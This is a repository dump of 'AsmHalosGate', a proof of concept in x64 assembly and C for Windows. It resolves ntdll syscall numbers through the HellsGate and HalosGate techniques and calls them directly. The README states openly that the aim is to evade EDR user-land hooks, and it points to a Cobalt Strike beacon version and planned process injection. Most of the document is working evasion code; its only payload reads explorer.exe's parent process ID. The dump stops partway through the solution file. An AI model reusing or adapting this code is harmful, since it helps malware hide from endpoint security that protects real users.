Repository: boku7/AsmHalosGate Branch: main Commit: e7693a4cd099 Files: 9 Total size: 47.4 KB Directory structure: gitextract_ljor1vle/ ├── LICENSE.md ├── README.md ├── bcookesHalosGate.asm ├── bcookesHalosGate.h ├── bcookesHalosGate.sln ├── bcookesHalosGate.vcxproj ├── bcookesHalosGate.vcxproj.filters ├── bcookesHalosGate.vcxproj.user └── main.c ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE.md ================================================ MIT License Copyright (c) 2023 Bobby Cooke Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # ASM HalosGate Direct System Caller Assembly HalosGate implementation that directly calls Windows System Calls, evades EDR User Land hooks, and displays the PPID of the explorer.exe process. ![](/imgs/asmHalosGatePoc.png) + In this screenshot the "NtQuerySystemInformation" & "NtAllocateVirtualMemory" NTDLL.DLL APIs systemcalls are discovered by using the HalosGate technique after failing to retrieve them via HellsGate technique due to EDR UserLand hooks. + After the systemcalls are resolved via the HellsGate and HalosGate method, they are are called directly. The code in NTDLL is never executed. ### To Do List + Obfuscate the strings for that are used for resolving the addresses of the NTDLL symbols + Or use hashing + ~Need to fix some bugs when switching from debug to release mode in visual studio's~ (Fixed 05/08/21) + ~Need to figure out how to properly overload the call to HellDescent()~ (Fixed 05/08/21) + Clean up the assembly functions, they are messy and could be better (Some cleanup 05/08/21) + ~Do better checking for the process image name so it doesnt conflict with other processes named explorer~ (Fixed 05/08/21) + Better error handling (Some better handling 05/08/21) + ~Make this into a cobalt strike beacon object file~ ( Complete! 06/08/21) + See [HalosGate Processlist Cobalt Strike BOF ](https://github.com/boku7/halosgate-ps) project! ;) + Build on this project for process injection / syscall PS + ~Use halos gate to handle EDR hooks.~ (Implemented in this project on 05/08/21) ### Credits / References + Reenz0h from @SEKTOR7net (Creator of the HalosGate technique ) + This HalosGate project is based on the work of Reenz0h. + Most of the C techniques I use are from Reenz0h's awesome courses and blogs + Best classes for malware development out there. + Creator of the halos gate technique. His work was the motivation for this work. + https://blog.sektor7.net/#!res/2021/halosgate.md + https://institute.sektor7.net/ + @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique ) + Could not have made my implementation of HellsGate without them :) + Awesome work on this method, really enjoyed working through it myself. Thank you! + https://github.com/am0nsec/HellsGate + Link to the Hell's Gate paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf + Pavel Yosifovich (@zodiacon) + I learned how to correctly call NtQuerySystemInformation from Pavel's class on pentester academy. Full credits to Pavel for this. (BTW Pavel is an awesome teacher and I 100% recommend). + [Windows Process Injection for Red-Blue Teams - Module 2: NTQuerySystemInformation](https://www.pentesteracademy.com/video?id=1634) ================================================ FILE: bcookesHalosGate.asm ================================================ ; Author: Bobby Cooke @0xBoku | https://github.com/boku7 | https://0xBoku.com | https://www.linkedin.com/in/bobby-cooke/ ; Credits / References: Pavel Yosifovich (@zodiacon),Reenz0h from @SEKTOR7net, @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique) .code getntdll PROC xor rdi, rdi ; RDI = 0x0 mul rdi ; RAX&RDX =0x0 mov rbx, gs:[rax+60h] ; RBX = Address_of_PEB mov rbx, [rbx+18h] ; RBX = Address_of_LDR mov rbx, [rbx+20h] ; mov rbx, [rbx] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll mov rbx, [rbx+20h] ; RBX = &ntdll.dll ( Base Address of ntdll.dll) mov rax, rbx ; RBX & RAX = &ntdll.dll ret ; return to caller getntdll ENDP ; Get ExportTable Address of supplied module DLL getExportTable PROC mov rbx, rcx ; RBX = Supplied Module Address mov r8, rcx ; R8 = Supplied Module Address mov ebx, [rbx+3Ch] ; RBX = Offset NewEXEHeader add rbx, r8 ; RBX = &ntdll.dll + Offset NewEXEHeader = &NewEXEHeader xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add add cx, 88ffh shr rcx, 8h ; RCX = 0x88ff --> 0x88 mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable add rdx, r8 ; RDX = &ntdll.dll + RVA ExportTable = &ExportTable mov rax, rdx ; RAX = &module.ExportTable ret ; return to caller getExportTable ENDP ; Get &module.ExportTable.AddressTable from &module.ExportTable getExAddressTable PROC mov r8, rdx ; R8 = &module.dll mov rdx, rcx ; RDX = &module.ExportTable xor r10, r10 mov r10d, [rdx+1Ch] ; RDI = RVA AddressTable add r10, r8 ; R10 = &AddressTable mov rax, r10 ; RAX = &module.ExportTable.AddressTable ret ; return to caller getExAddressTable ENDP ; Get &module.NamePointerTable from &module.ExportTable getExNamePointerTable PROC mov r8, rdx ; R8 = &module.dll mov rdx, rcx ; RDX = &module.ExportTable xor r11, r11 mov r11d, [rdx+20h] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable add r11, r8 ; R11 = &NamePointerTable (Memory Address of module Export NamePointerTable) mov rax, r11 ; RAX = &module.ExportTable.NamePointerTable ret ; return to caller getExNamePointerTable ENDP ; Get &OrdinalTable from ntdll.dll ExportTable getExOrdinalTable PROC mov r8, rdx ; R8 = &module.dll mov rdx, rcx ; RDX = &module.ExportTable xor r12, r12 mov r12d, [rdx+24h] ; R12 = RVA OrdinalTable add r12, r8 ; R12 = &OrdinalTable mov rax, r12 ; RAX = &module.ExportTable.OrdinalTable ret ; return to caller getExOrdinalTable ENDP ; Get the address of the API from the module ExportTable ; IN: &Module.ExportTable.NamePointerTable + &Module getApiAddr PROC mov r10, r9 ; R10 = &module.ExportTable.AddressTable mov r11, [rsp+28h] ; R11 = &module.ExportTable.NamePointerTable mov r12, [rsp+30h] ; R12 = &module.ExportTable.OrdinalTable xor rax, rax ; Setup Counter for resolving the API Address after finding the name string push rcx ; push the string length counter to stack jmp short getApiAddrLoop getApiAddr ENDP getApiAddrLoop PROC mov rcx, [rsp] ; reset the string length counter from the stack xor rdi, rdi ; Clear RDI for setting up string name retrieval mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] add rdi, r8 ; RDI = &NameString = RVA NameString + &module.dll mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) repe cmpsb ; Compare strings at RDI & RSI je getApiAddrFin ; If match then we found the API string. Now we need to find the Address of the API inc rax jmp short getApiAddrLoop getApiAddrLoop ENDP ; Find the address of GetProcAddress by using the last value of the Counter getApiAddrFin PROC pop rcx ; remove string length counter from top of stack mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of module. mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] add rax, r8 ; RAX = module. = RVA module. + module.dll BaseAddress ret ; return to API caller getApiAddrFin ENDP ; Find the syscall number for the NTDLL API with provided API address ; RCX = NTDLL. Address findSyscallNumber PROC xor rsi, rsi xor rdi, rdi mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub (mov r10,rcx;mov eax,) cmp rsi, rdi jne error ; if the bytes dont match then its prob hooked. Exit gracefully xor rax,rax ; clear RAX as it will hold the syscall mov ax, [rcx+4] ; The systemcall number ret ; return to caller findSyscallNumber ENDP ; RCX = &NTDLL. | RDX = 32bytes * Up Increment halosGateUp PROC xor rsi, rsi xor rdi, rdi mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX xor rax, rax mov al, 20h ; 32 * Increment = Syscall Up mul dx ; RAX = RAX * RDX = 32 * Syscall Up add rcx, rax ; RCX = NTDLL.API +- Syscall Stub mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, ) cmp rsi, rdi jne error ; if the bytes dont match then its prob hooked. Exit gracefully xor rax,rax ; clear RAX as it will hold the syscall mov ax, [rcx+4] ; The systemcall number for the API close to the target ret ; return to caller halosGateUp ENDP ; RCX = &NTDLL. | RDX = 32bytes * Down Increment halosGateDown PROC xor rsi, rsi xor rdi, rdi mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX xor rax, rax mov al, 20h ; 32 * Increment = Syscall Down mul dx ; RAX = RAX * RDX = 32 * Syscall Down sub rcx, rax ; RCX = NTDLL.API - Syscall Stub mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Down by HalosGate (mov r10, rcx; mov eax, ) cmp rsi, rdi jne error ; if the bytes dont match then its prob hooked. Exit gracefully xor rax,rax ; clear RAX as it will hold the syscall mov ax, [rcx+4] ; The systemcall number for the API close to the target ret ; return to caller halosGateDown ENDP error PROC xor rax, rax ; return 0 for error ret ; return to caller error ENDP HellsGate PROC xor r11, r11 mov r11d, ecx ret HellsGate ENDP HellDescent PROC xor rax, rax mov r10, rcx mov eax, r11d syscall ret HellDescent ENDP compExplorer PROC xor rsi, rsi cmp rsi, rcx je error ; This is a null entry, skip this one mov rsi, 6c007000780065h ; unicode "expl" mov rdx, [rcx] ; move the first 4 characters of the string into RCX register cmp rsi, rdx jne error ; if the bytes dont its match not "expl", try the next one mov rsi, 7200650072006fh ; 6f 00 72 00 65 00 72 00 o.r.e.r. mov rdx, [rcx+8h] ; move the next 4 characters of the string into RCX register "orer" cmp rsi, rdx jne error ; if the bytes dont match its not "explorer", try the next one mov rsi, 6500780065002eh ; 2e 00 65 00 78 00 65 00 ..e.x.e. mov rdx, [rcx+10h] ; move the next 4 characters of the string into RCX register ".exe" cmp rsi, rdx jne error ; if the bytes dont match its not "explorer.exe", try the next one mov rax, 1h ; found "explorer.exe" return true ret compExplorer ENDP end ================================================ FILE: bcookesHalosGate.h ================================================ #define RTL_MAX_DRIVE_LETTERS 32 typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _PS_ATTRIBUTE { ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength; } PS_ATTRIBUTE, * PPS_ATTRIBUTE; #define STATUS_BUFFER_TOO_SMALL 0xC0000004 typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; UNICODE_STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; typedef struct _CURDIR { UNICODE_STRING DosPath; PVOID Handle; } CURDIR, * PCURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; PVOID PackageDependencyData; ULONG ProcessGroupId; ULONG LoaderThreads; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; typedef enum _PS_CREATE_STATE { PsCreateInitialState, PsCreateFailOnFileOpen, PsCreateFailOnSectionCreate, PsCreateFailExeFormat, PsCreateFailMachineMismatch, PsCreateFailExeName, PsCreateSuccess, PsCreateMaximumStates } PS_CREATE_STATE, * PPS_CREATE_STATE; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _PS_CREATE_INFO { SIZE_T Size; PS_CREATE_STATE State; union { // PsCreateInitialState struct { union { ULONG InitFlags; struct { UCHAR WriteOutputOnExit : 1; UCHAR DetectManifest : 1; UCHAR IFEOSkipDebugger : 1; UCHAR IFEODoNotPropagateKeyState : 1; UCHAR SpareBits1 : 4; UCHAR SpareBits2 : 8; USHORT ProhibitedImageCharacteristics : 16; }; }; ACCESS_MASK AdditionalFileAccess; } InitState; // PsCreateFailOnSectionCreate struct { HANDLE FileHandle; } FailSection; // PsCreateFailExeFormat struct { USHORT DllCharacteristics; } ExeFormat; // PsCreateFailExeName struct { HANDLE IFEOKey; } ExeName; // PsCreateSuccess struct { union { ULONG OutputFlags; struct { UCHAR ProtectedProcess : 1; UCHAR AddressSpaceOverride : 1; UCHAR DevOverrideEnabled : 1; // from Image File Execution Options UCHAR ManifestDetected : 1; UCHAR ProtectedProcessLight : 1; UCHAR SpareBits1 : 3; UCHAR SpareBits2 : 8; USHORT SpareBits3 : 16; }; }; HANDLE FileHandle; HANDLE SectionHandle; ULONGLONG UserProcessParametersNative; ULONG UserProcessParametersWow64; ULONG CurrentParameterFlags; ULONGLONG PebAddressNative; ULONG PebAddressWow64; ULONGLONG ManifestAddress; ULONG ManifestSize; } SuccessState; }; } PS_CREATE_INFO, * PPS_CREATE_INFO; typedef struct _PS_ATTRIBUTE_LIST { SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; typedef enum _KWAIT_REASON { Executive = 0, FreePage = 1, PageIn = 2, PoolAllocation = 3, DelayExecution = 4, Suspended = 5, UserRequest = 6, WrExecutive = 7, WrFreePage = 8, WrPageIn = 9, WrPoolAllocation = 10, WrDelayExecution = 11, WrSuspended = 12, WrUserRequest = 13, WrEventPair = 14, WrQueue = 15, WrLpcReceive = 16, WrLpcReply = 17, WrVirtualMemory = 18, WrPageOut = 19, WrRendezvous = 20, Spare2 = 21, Spare3 = 22, Spare4 = 23, Spare5 = 24, WrCalloutStack = 25, WrKernel = 26, WrResource = 27, WrPushLock = 28, WrMutex = 29, WrQuantumEnd = 30, WrDispatchInt = 31, WrPreempted = 32, WrYieldExecution = 33, WrFastMutex = 34, WrGuardedMutex = 35, WrRundown = 36, MaximumWaitReason = 37 } KWAIT_REASON; typedef LONG KPRIORITY; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitches; ULONG ThreadState; KWAIT_REASON WaitReason; } SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER WorkingSetPrivateSize; // since VISTA ULONG HardFaultCount; // since WIN7 ULONG NumberOfThreadsHighWatermark; // since WIN7 ULONGLONG CycleTime; // since WIN7 LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; SYSTEM_THREAD_INFORMATION Threads[1]; } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; // source:http://www.microsoft.com/whdc/system/Sysinternals/MoreThan64proc.mspx // https://processhacker.sourceforge.io/doc/ntexapi_8h_source.html#l01202 typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION SystemPathInformation, // not implemented SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION SystemCallTimeInformation, // 10, not implemented SystemModuleInformation, // q: RTL_PROCESS_MODULES SystemLocksInformation, SystemStackTraceInformation, SystemPagedPoolInformation, // not implemented SystemNonPagedPoolInformation, // not implemented SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION SystemVdmInstemulInformation, // q SystemVdmBopInformation, // 20, not implemented SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) SystemFullMemoryInformation, // not implemented SystemLoadGdiDriverInformation, // s (kernel-mode only) SystemUnloadGdiDriverInformation, // s (kernel-mode only) SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) SystemSummaryMemoryInformation, // not implemented SystemMirrorMemoryInformation, // 30, s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) SystemPerformanceTraceInformation, // s SystemObsolete0, // not implemented SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION SystemCrashDumpStateInformation, // s (requires SeDebugPrivilege) SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only SystemPrioritySeperation, // s (requires SeTcbPrivilege) SystemVerifierAddDriverInformation, // 40, s (requires SeDebugPrivilege) SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION SystemCurrentTimeZoneInformation, // q SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION SystemTimeSlipNotification, // s (requires SeSystemtimePrivilege) SystemSessionCreate, // not implemented SystemSessionDetach, // not implemented SystemSessionInformation, // not implemented SystemRangeStartInformation, // 50, q SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) SystemVerifierThunkExtend, // s (kernel-mode only) SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION SystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation) SystemNumaProcessorMap, // q SystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemRecommendedSharedDataAlignment, // q SystemComPlusPackage, // q; s SystemNumaAvailableMemory, // 60 SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION SystemEmulationBasicInformation, // q SystemEmulationProcessorInformation, SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX SystemLostDelayedWriteInformation, // q: ULONG SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION SystemHotpatchInformation, // q; s SystemObjectSecurityMode, // 70, q SystemWatchdogTimerHandler, // s (kernel-mode only) SystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only) SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION SystemWow64SharedInformationObsolete, // not implemented SystemRegisterFirmwareTableInformationHandler, // s (kernel-mode only) SystemFirmwareTableInformation, // not implemented SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX SystemVerifierTriageInformation, // not implemented SystemSuperfetchInformation, // q: SUPERFETCH_INFORMATION; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation SystemMemoryListInformation, // 80, q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] SystemVerifierCancellationInformation, // not implemented // name:wow64:whNT32QuerySystemVerifierCancellationInformation SystemProcessorPowerInformationEx, // not implemented SystemRefTraceInformation, // q; s // ObQueryRefTraceInformation SystemSpecialPoolInformation, // q; s (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION SystemErrorPortInformation, // s (requires SeTcbPrivilege) SystemBootEnvironmentInformation, // 90, q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION SystemHypervisorInformation, // q; s (kernel-mode only) SystemVerifierInformationEx, // q; s SystemTimeZoneInformation, // s (requires SeTimeZonePrivilege) SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) SystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation SystemPrefetchPatchInformation, // not implemented SystemVerifierFaultsInformation, // s (requires SeDebugPrivilege) SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION SystemProcessorPerformanceDistribution, // 100, q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION SystemNumaProximityNodeInformation, // q SystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege) SystemCodeIntegrityInformation, // q // SeCodeIntegrityQueryInformation SystemProcessorMicrocodeUpdateInformation, // s SystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] SystemStoreInformation, // q; s // SmQueryStoreInformation SystemRegistryAppendString, // 110, s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION SystemCpuQuotaInformation, // q; s // PsQueryCpuQuotaInformation SystemNativeBasicInformation, // not implemented SystemSpare1, // not implemented SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) SystemSystemPtesInformationEx, // 120, q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) SystemNodeDistanceInformation, // q SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 SystemSessionBigPoolInformation, // since WIN8 SystemBootGraphicsInformation, SystemScrubPhysicalMemoryInformation, SystemBadPageInformation, SystemProcessorProfileControlArea, SystemCombinePhysicalMemoryInformation, // 130 SystemEntropyInterruptTimingCallback, SystemConsoleInformation, SystemPlatformBinaryInformation, SystemThrottleNotificationInformation, SystemHypervisorProcessorCountInformation, SystemDeviceDataInformation, SystemDeviceDataEnumerationInformation, SystemMemoryTopologyInformation, SystemMemoryChannelInformation, SystemBootLogoInformation, // 140 SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE SystemSpare0, SystemSecureBootPolicyInformation, SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX SystemSecureBootInformation, SystemEntropyInterruptTimingRawInformation, SystemPortableWorkspaceEfiLauncherInformation, SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX SystemBootMetadataInformation, // 150 SystemSoftRebootInformation, SystemElamCertificateInformation, SystemOfflineDumpConfigInformation, SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION SystemRegistryReconciliationInformation, SystemEdidInformation, SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160 SystemVmGenerationCountInformation, SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION SystemKernelDebuggerFlags, SystemCodeIntegrityPolicyInformation, SystemIsolatedUserModeInformation, SystemHardwareSecurityTestInterfaceResultsInformation, SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION SystemAllowedCpuSetsInformation, SystemDmaProtectionInformation, SystemInterruptCpuSetsInformation, SystemSecureBootPolicyFullInformation, SystemCodeIntegrityPolicyFullInformation, SystemAffinitizedInterruptProcessorInformation, SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION MaxSystemInfoClass } SYSTEM_INFORMATION_CLASS; ================================================ FILE: bcookesHalosGate.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30114.105 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bcookesHalosGate", "bcookesHalosGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = 